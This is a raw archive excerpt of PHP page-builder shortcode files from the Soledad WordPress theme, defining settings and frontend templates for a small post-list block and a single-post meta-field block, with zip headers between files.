			'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
			'param_name'       => 'link_hcolor',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Excerpt Font Size', 'soledad' ),
			'param_name'       => 'excerpt_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Excerpt Color', 'soledad' ),
			'param_name'       => 'excerpt_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),

	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_filter(), Penci_Vc_Params_Helper::params_custom_meta_fields(), Penci_Vc_Params_Helper::params_heading_filter_style(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params(), Penci_Vc_Params_Helper::params_bookmark_icon() )
) );
PK     N\u!j  j  2  inc/js_composer/shortcodes/small_list/frontend.phpnu [        <?php
$settings             = vc_map_get_attributes( $this->getShortcode(), $atts );
$type                 = $settings['type'] ? $settings['type'] : '';
$dformat              = $settings['dformat'] ? $settings['dformat'] : '';
$date_pos             = $settings['date_pos'] ? $settings['date_pos'] : 'left';
$column               = $settings['column'] ? $settings['column'] : '3';
$tab_column           = $settings['tab_column'] ? $settings['tab_column'] : '2';
$mb_column            = $settings['mb_column'] ? $settings['mb_column'] : '1';
$imgpos               = $settings['imgpos'] ? $settings['imgpos'] : 'left';
$thumb_size_imgtop    = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
$thumb_size           = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
$mthumb_size          = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
$post_meta            = $settings['post_meta'] ? explode( ',', $settings['post_meta'] ) : array();
$primary_cat          = $settings['primary_cat'] ? $settings['primary_cat'] : '';
$title_length         = $settings['title_length'] ? $settings['title_length'] : '';
$excerpt_pos          = $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below';
$paging               = $settings['paging'] ? $settings['paging'] : 'none';
$paging_align         = $settings['paging_align'] ? $settings['paging_align'] : 'align-center';
$archive_buider_check = isset( $settings['posts_post_type'] ) ? $settings['posts_post_type'] : '';
if ( 'top' == $imgpos ) {
	$excerpt_pos = 'side';
}
$rmstyle        = $settings['rmstyle'] ? $settings['rmstyle'] : 'filled';
$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 15;

$thumbnail = $thumb_size;
if ( penci_is_mobile() ) {
	$thumbnail = $mthumb_size;
}

$inner_wrapper_class = 'pcsl-inner penci-clearfix';
$inner_wrapper_class .= ' pcsl-' . $type;
if ( 'crs' == $type ) {
	$inner_wrapper_class .= ' penci-owl-carousel penci-owl-carousel-slider swiper';
}
if ( 'nlist' == $type ) {
	$column     = '1';
	$tab_column = '1';
	$mb_column  = '1';
	if ( in_array( 'date', $post_meta ) ) {
		$inner_wrapper_class .= ' pcsl-hdate';
	}
}
$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
$inner_wrapper_class .= ' pcsl-col-' . $column;
$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
if ( 'yes' == $settings['nocrop'] ) {
	$inner_wrapper_class .= ' pcsl-nocrop';
}
if ( 'yes' == $settings['hide_cat_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-cat-mhide';
}
if ( 'yes' == $settings['hide_meta_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-meta-mhide';
}
if ( 'yes' == $settings['hide_excerpt_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-excerpt-mhide';
}
if ( 'yes' == $settings['hide_rm_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-rm-mhide';
}
if ( 'yes' == $settings['imgtop_mobile'] && in_array( $imgpos, array( 'left', 'right' ) ) ) {
	$inner_wrapper_class .= ' pcsl-imgtopmobile';
}
if ( 'yes' == $settings['ver_border'] ) {
	$inner_wrapper_class .= ' pcsl-verbd';
}

$data_slider = '';
if ( 'crs' == $type ) {
	$data_slider .= $settings['showdots'] == 'yes' ? ' data-dots="true"' : '';
	$data_slider .= $settings['shownav'] == 'yes' ? ' data-nav="true"' : '';
	$data_slider .= $settings['loop'] == 'yes' ? ' data-loop="true"' : '';
	$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
	$data_slider .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
	$data_slider .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

	$data_slider .= ' data-item="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '"';
	$data_slider .= ' data-desktop="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '" ';
	$data_slider .= ' data-tablet="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
	$data_slider .= ' data-tabsmall="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
	$data_slider .= ' data-mobile="' . ( isset( $settings['mb_column'] ) && $settings['mb_column'] ? $settings['mb_column'] : '1' ) . '"';
}

$original_postype = isset( $settings['posts_post_type'] ) && $settings['posts_post_type'] ? $settings['posts_post_type'] : '';

if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) && penci_is_builder_template() ) {
	$settings['posts_post_type'] = 'post';
}

$args          = penci_build_args_query( $settings['build_query'] );
$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );
if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
	$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
	$ppp    = isset( $args['posts_per_page'] ) && $args['posts_per_page'] ? $args['posts_per_page'] : get_option( 'posts_per_page' );
	$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
	$offset = 0;
	if ( $ppp ) {
		$args['posts_per_page'] = $ppp;
	}
	if ( $settings['arposts_new'] == 'yes' ) {
		$args['paged'] = 1;
	}
	if ( 0 < $settings['offset'] ) {
		$offset = $settings['offset'];
	}

	if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
		$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
	}

	if ( $offset ) {
		$args['offset'] = $offset;
	}
}
$query_smalllist = new \WP_Query( $args );


$block_id = 'pcblock_' . rand( 0, 9999 );

$settings['blockid'] = $block_id;

add_action( 'penci_block_title_extra_' . $block_id, function () use ( $settings, $args, $query_smalllist ) {
	$link_group_cats            = $settings['biggrid_ajaxfilter_cat'];
	$link_group_tags            = $settings['biggrid_ajaxfilter_tag'];
	$link_group_author          = $settings['biggrid_ajaxfilter_author'];
	$link_group_out             = $link_group_out_before = $link_group_out_after = '';
	$settings['posts_per_page'] = isset( $settings['posts_per_page'] ) && $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
	$link_group_out_before      .= '<nav data-ppp="' . $settings['posts_per_page'] . '" data-blockid="' . $settings['blockid'] . '" data-query_type="ajaxtab" data-more="' . esc_attr( $settings['group_more_link_text'] ) . '" class="pcnav-lgroup"><ul class="pcflx">';
	$link_group_out_after       = '</ul></nav>';
	$has_link                   = false;

	if ( $link_group_cats ) {
		$has_link        = true;
		$link_group_cats = explode( ',', $link_group_cats );
		foreach ( $link_group_cats as $link_cat ) {
			$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" data-paged="1" data-id="' . md5( 'cat-link-' . $link_cat ) . '" data-cat="' . $link_cat . '">' . get_term_field( 'name', $link_cat ) . '</a></li>';
		}
	}

	if ( $link_group_tags ) {
		$has_link        = true;
		$link_group_tags = explode( ',', $link_group_tags );
		foreach ( $link_group_tags as $link_tag ) {
			$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" data-paged="1" data-id="' . md5( 'tag-link-' . $link_tag ) . '" data-tag="' . $link_tag . '">' . get_term_field( 'name', $link_tag ) . '</a></li>';
		}
	}

	if ( $link_group_author ) {
		$has_link          = true;
		$link_group_author = explode( ',', $link_group_author );
		foreach ( $link_group_author as $author ) {
			$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" data-paged="1" data-id="' . md5( 'author-link-' . $author ) . '" data-cat="' . $author . '">' . get_the_author_meta( 'nicename', $author ) . '</a></li>';
		}
	}

	if ( 'nextprev' == $settings['paging'] ) {
		$link_group_out .= '</ul><ul class="pcflx-nav">';
		$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#"><i class="penciicon-left-chevron"></i></a></li>';
		$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#"><i class="penciicon-right-chevron"></i></a></li>';
	}

	if ( $link_group_out ) {
		$first_class = $has_link ? 'visible' : 'hidden-item';
		$df_datamax  = '';
		if ( 'nextprev' == $settings['paging'] ) {
			$df_datamax = 'data-maxp="' . $query_smalllist->max_num_pages . '" ';
		}
		$link_group_out_before .= '<li class="all ' . $first_class . '"><a ' . $df_datamax . 'data-paged="1" class="pc-ajaxfil-link current-item" data-id="default" href="#">' . $settings['group_more_defaultab_text'] . '</a></li>';

		wp_enqueue_script( 'penci_ajax_filter_slist' );
		echo $link_group_out_before . $link_group_out . $link_group_out_after;
	}
} );

if ( 'none' !== 'paging' ) {
	$ajax_data          = $settings;
	$ajax_data['query'] = $args;
	\Soledad_VC_Shortcodes::get_block_script( $settings['blockid'], $ajax_data );
}
$block_id = Penci_Vc_Helper::get_unique_id_block( 'small_list' );
?>
    <div id="<?php echo $block_id; ?>" class="penci-wrapper-smalllist">
		<?php Penci_Vc_Helper::markup_block_title( $settings ); ?>
		<?php
		if ( ! $query_smalllist->have_posts() ) {
			echo '<p>' . penci_get_setting( 'penci_ajaxsearch_no_post' ) . '</p>';
		}

		?>
        <div class="penci-smalllist-wrapper">
			<?php
			if ( $query_smalllist->have_posts() ) {
				?>
                <div class="penci-smalllist pcsl-wrapper pwsl-id-default">
                    <div class="<?php echo $inner_wrapper_class; ?>"<?php echo $data_slider; ?>>

						<?php
						$item_class = ' normal-item';
						if ( 'crs' == $type ) {
							echo '<div class="swiper-wrapper">';
							$item_class = ' swiper-slide';
						}
						while ( $query_smalllist->have_posts() ) : $query_smalllist->the_post(); ?>
                            <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
								echo ' pcsl-nothumb';
							}
							echo $item_class; ?>">
                                <div class="pcsl-itemin">
                                    <div class="pcsl-iteminer">
										<?php if ( in_array( 'date', $post_meta ) && 'nlist' == $type ) { ?>
                                            <div class="pcsl-date pcsl-dpos-<?php echo $date_pos; ?>">
                                                <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
                                            </div>
										<?php } ?>

										<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                                            <div class="pcsl-thumb">
												<?php
												do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
												/* Display Review Piechart  */
												if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
													penci_display_piechart_review_html( get_the_ID(), 'small' );
												}
												?>
												<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
													<?php if ( has_post_format( 'video' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'audio' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'link' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'quote' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
													<?php endif; ?>
												<?php endif; ?>
												<?php if ( 'yes' != $settings['disable_lazy'] ) { ?>
                                                    <a href="<?php the_permalink(); ?>"
                                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                       class="penci-image-holder penci-lazy"<?php if ( 'yes' == $settings['nocrop'] ) {
														echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
													} ?>
                                                       data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>">
                                                    </a>
												<?php } else { ?>
                                                    <a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                       href="<?php the_permalink(); ?>" class="penci-image-holder"
                                                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>');<?php if ( 'yes' == $settings['nocrop'] ) {
														   echo 'padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%';
													   } ?>">
                                                    </a>
												<?php } ?>
                                            </div>
										<?php } ?>
                                        <div class="pcsl-content">
											<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                <div class="cat pcsl-cat">
													<?php penci_category( '', $primary_cat ); ?>
                                                </div>
											<?php endif; ?>

											<?php if ( in_array( 'title', $post_meta ) ) : ?>
                                                <div class="pcsl-title">
                                                    <a href="<?php the_permalink(); ?>"<?php if ( $title_length ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>><?php if ( ! $title_length ) {
															the_title();
														} else {
															echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
														} ?></a>
                                                </div>
											<?php endif; ?>

											<?php if ( $settings['cspost_enable'] || ( count( array_intersect( array(
														'author',
														'date',
														'comment',
														'views',
														'reading'
													), $post_meta ) ) > 0 && 'nlist' != $type ) || ( count( array_intersect( array(
														'author',
														'comment',
														'views',
														'reading'
													), $post_meta ) ) > 0 && 'nlist' == $type ) ) { ?>
                                                <div class="grid-post-box-meta pcsl-meta">
													<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                        <span class="sl-date-author author-italic">
													<?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                    class="url fn n"
                                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
													</span>
													<?php endif; ?>
													<?php if ( in_array( 'date', $post_meta ) && 'nlist' != $type ) : ?>
                                                        <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
													<?php endif; ?>
													<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                        <span class="sl-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
													<?php endif; ?>
													<?php
													if ( in_array( 'views', $post_meta ) ) {
														echo '<span class="sl-views">';
														echo penci_get_post_views( get_the_ID() );
														echo ' ' . penci_get_setting( 'penci_trans_countviews' );
														echo '</span>';
													}
													?>
													<?php
													$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
													if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                        <span class="sl-readtime"><?php penci_reading_time(); ?></span>
													<?php endif; ?>
													<?php echo penci_show_custom_meta_fields( [
														'validator' => $settings['cspost_enable'],
														'keys'      => $settings['cspost_cpost_meta'],
														'acf'       => $settings['cspost_cpost_acf_meta'],
														'label'     => $settings['cspost_cpost_meta_label'],
														'divider'   => $settings['cspost_cpost_meta_divider'],
													] ); ?>
													<?php do_action( 'penci_extra_meta' ); ?>
                                                </div>
											<?php } ?>

											<?php if ( 'yes' == $settings['show_excerpt'] && 'side' == $excerpt_pos ) { ?>
                                                <div class="pcbg-pexcerpt pcsl-pexcerpt">
													<?php penci_the_excerpt( $excerpt_length ); ?>
                                                </div>
											<?php } ?>
											<?php if ( 'yes' == $settings['show_readmore'] && 'side' == $excerpt_pos ) { ?>
                                                <div class="pcsl-readmore">
                                                    <a href="<?php the_permalink(); ?>"
                                                       class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
														<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                    </a>
                                                </div>
											<?php } ?>
                                        </div>

										<?php if ( ( 'yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore'] ) && 'below' == $excerpt_pos ) { ?>
                                            <div class="pcsl-flex-full">
												<?php if ( 'yes' == $settings['show_excerpt'] ) { ?>
                                                    <div class="pcbg-pexcerpt pcsl-pexcerpt">
														<?php penci_the_excerpt( $excerpt_length ); ?>
                                                    </div>
												<?php } ?>
												<?php if ( 'yes' == $settings['show_readmore'] ) { ?>
                                                    <div class="pcsl-readmore">
                                                        <a href="<?php the_permalink(); ?>"
                                                           class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
															<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                        </a>
                                                    </div>
												<?php } ?>
                                            </div>
										<?php } ?>
                                    </div>
                                </div>
                            </div>
						<?php endwhile;
						if ( 'crs' == $type ) {
							echo '</div>';
						}
						?>
                    </div>

					<?php
					if ( 'loadmore' == $paging || 'scroll' == $paging ) {
						$data_settings          = array();
						$data_settings['query'] = $args;
						$data_paged             = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

						$data_settings_ajax = htmlentities( json_encode( $data_settings ), ENT_QUOTES, "UTF-8" );

						$button_class = ' penci-ajax-more penci-slajax-more-click';
						if ( 'loadmore' == $paging ):
							wp_enqueue_script( 'penci_slajax_more_posts' );
						endif;
						if ( 'scroll' == $paging ):
							$button_class = ' penci-ajax-more penci-slajax-more-scroll';
							wp_enqueue_script( 'penci_slajax_more_scroll' );
						endif;
						$data_archive_type  = '';
						$data_archive_value = '';
						if ( is_category() ) :
							$category           = get_category( get_query_var( 'cat' ) );
							$cat_id             = isset( $category->cat_ID ) ? $category->cat_ID : '';
							$data_archive_type  = 'cat';
							$data_archive_value = $cat_id;
							$opt_cat            = 'category_' . $cat_id;
							$cat_meta           = get_option( $opt_cat );
							$sidebar_opts       = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
							if ( $sidebar_opts == 'no' ):
								$data_template = 'no-sidebar';
                            elseif ( $sidebar_opts == 'left' || $sidebar_opts == 'right' ):
								$data_template = 'sidebar';
							endif;

                        elseif ( is_tag() ) :
							$tag                = get_queried_object();
							$tag_id             = isset( $tag->term_id ) ? $tag->term_id : '';
							$data_archive_type  = 'tag';
							$data_archive_value = $tag_id;
                        elseif ( is_day() ) :
							$data_archive_type  = 'day';
							$data_archive_value = get_the_date( 'm|d|Y' );
                        elseif ( is_month() ) :
							$data_archive_type  = 'month';
							$data_archive_value = get_the_date( 'm|d|Y' );
                        elseif ( is_year() ) :
							$data_archive_type  = 'year';
							$data_archive_value = get_the_date( 'm|d|Y' );
                        elseif ( is_search() ) :
							$data_archive_type  = 'search';
							$data_archive_value = get_search_query();
                        elseif ( is_author() ) :

							global $authordata;
							$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;

							$data_archive_type  = 'author';
							$data_archive_value = $user_id;
                        elseif ( is_archive() ) :
							$queried_object = get_queried_object();
							$term_id        = isset( $queried_object->term_id ) ? $queried_object->term_id : '';
							$tax            = get_taxonomy( get_queried_object()->taxonomy );
							$tax_name       = isset( $tax->name ) ? $tax->name : '';

							if ( $term_id && $tax_name ) {
								$data_archive_type  = $tax_name;
								$data_archive_value = $term_id;
							}
						endif;
						?>
                        <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                            <a class="penci-ajax-more-button" href="#"
								<?php if ( $data_archive_type && $data_archive_value ): ?>
                                    data-archivetype="<?php echo $data_archive_type; ?>"
                                    data-archivevalue="<?php echo $data_archive_value; ?>"
                                    data-arppp="<?php echo $ppp; ?>"
								<?php endif; ?>
                               data-blockid="<?php echo $settings['blockid']; ?>"
                               data-query_type="<?php echo $archive_buider_check; ?>"
                               data-settings="<?php echo $data_settings_ajax; ?>"
                               data-pagednum="<?php echo( (int) $data_paged + 1 ); ?>"
                               data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
                                <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                        class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                            </a>
                        </div>
						<?php
					} elseif ( 'numbers' == $paging ) {
						echo penci_pagination_numbers( $query_smalllist, $paging_align );
					}
					?>

                </div>
				<?php
			} /* End check if query exists posts */
			if ( $settings['biggrid_ajaxfilter_cat'] || $settings['biggrid_ajaxfilter_tag'] || $settings['biggrid_ajaxfilter_author'] || 'nextprev' == $settings['paging'] ) {
				echo penci_get_html_animation_loading( $settings['biggrid_ajax_loading_style'] );
			}
			?>
        </div>
    </div>
<?php
wp_reset_postdata();

$block_id_css  = '#' . $block_id;
$block_id_css2 = '#' . $block_id;
$css_custom    = Penci_Vc_Helper::get_heading_block_css( $block_id_css, $settings );

if ( $settings['title_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-content .pcsl-title a{ color: ' . esc_attr( $settings['title_color'] ) . '; }';
}
if ( $settings['title_hcolor'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-content .pcsl-title a:hover{ color: ' . esc_attr( $settings['title_hcolor'] ) . '; }';
}
if ( $settings['date_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-hdate .pcsl-date span{ color: ' . esc_attr( $settings['date_color'] ) . '; }';
}
if ( $settings['meta_color'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span{ color: ' . esc_attr( $settings['ppcount_color'] ) . '; }';
}
if ( $settings['link_color'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span a{ color: ' . esc_attr( $settings['links_color'] ) . '; }';
}
if ( $settings['link_hcolor'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span a:hover{ color: ' . esc_attr( $settings['links_hcolor'] ) . '; }';
}
if ( $settings['excerpt_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcbg-pexcerpt, ' . $block_id_css . ' .pcbg-pexcerpt p{ color: ' . esc_attr( $settings['excerpt_color'] ) . '; }';
}
if ( $settings['title_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .pcbg-pexcerpt, ' . $block_id_css . ' .pcbg-pexcerpt p', 'font-size', $settings['title_fize'] );
}
if ( $settings['meta_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .grid-post-box-meta span', 'font-size', $settings['meta_fize'] );
}
if ( $settings['date_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .pcsl-hdate .pcsl-date span', 'font-size', $settings['meta_fize'] );
}

if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id_css, $settings['responsive_spacing'] );
}

$css_custom .= Penci_Vc_Helper::get_bookmark_icon_css( $block_id_css, $atts );

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\6G(}  }  <  inc/js_composer/shortcodes/pc_single_meta_field/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_meta_field",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_meta_field/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Meta Field', 'soledad' ),
	'description'   => 'Show custom field data',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Meta Source', 'soledad' ),
			'param_name'       => 'meta_source',
			'value'            => array(
				'Custom Field'          => 'custom',
				'Advanced Custom Field' => 'acf',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'cspost_cpost_meta',
			'heading'    => esc_html__( 'Custom Post Meta Keys', 'soledad' ),
		),
		array(
			'type'        => 'autocomplete',
			'param_name'  => 'cspost_cpost_acf_meta',
			'heading'     => esc_html__( 'Custom Post ACF Meta Keys', 'soledad' ),
			'description' => 'You can show your own custom fields easily by using the <a href="https://wordpress.org/plugins/advanced-custom-fields/" target="_blank">Advanced Custom Fields</a> plugin.',
			'settings'    => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'values'         => Penci_Vc_Params_Helper::penci_get_meta_list()
			),
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Text Align', 'soledad' ),
			'param_name'       => 'meta_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Meta Label Text', 'soledad' ),
			'param_name'       => 'meta_label',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Justify Align?', 'soledad' ),
			'param_name'       => 'justify_align',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Icon Style', 'soledad' ),
			'param_name'       => 'meta_icon_style',
			'value'            => array(
				'Default' => 'default',
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Text Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Color', 'soledad' ),
			'param_name'       => 'meta-link-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
			'param_name'       => 'meta-link-hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Meta Background Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_mt_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_icon_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Background Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Border Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bd_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\!  !  <  inc/js_composer/shortcodes/pc_single_meta_field/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_single_meta' );
$css_custom = '';
global $post;
$label = $settings['meta_label'] ? '<span class="label">' . $settings['meta_label'] . '</span>' : '';

$meta = $meta_key = '';

if ( 'custom' == $settings['meta_source'] && $settings['meta'] ) {
	$meta_key = $settings['meta'];
}

if ( 'acf' == $settings['meta_source'] && $settings['acf'] ) {
	$meta_key = $settings['acf'];
}

$meta = get_post_meta( get_the_ID(), $meta_key, true );

$filed_type = penci_get_field_type( $meta_key );

if ( 'image' == $filed_type && is_numeric( $meta ) ) {
	$meta = wp_get_attachment_image( $meta );
}

if ( $meta ) {
	?>
    <div class="post-box-meta-single style-<?php echo esc_attr( $settings['meta_icon_style'] ); ?>">
            <span>
	            <?php echo $label; ?>
            <span class="content"><?php echo do_shortcode( $meta ); ?></span></span>
    </div>
	<?php
}
$css = [
	'penci_single_meta_gnr_color'      => [
		'{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}'
	],
	'penci_single_meta_gnr_icon_color' => [ '{{WRAPPER}} .pcmt-icon' => 'color:{{VALUE}}' ],
	'penci_single_meta_gnr_bg_color'   => [
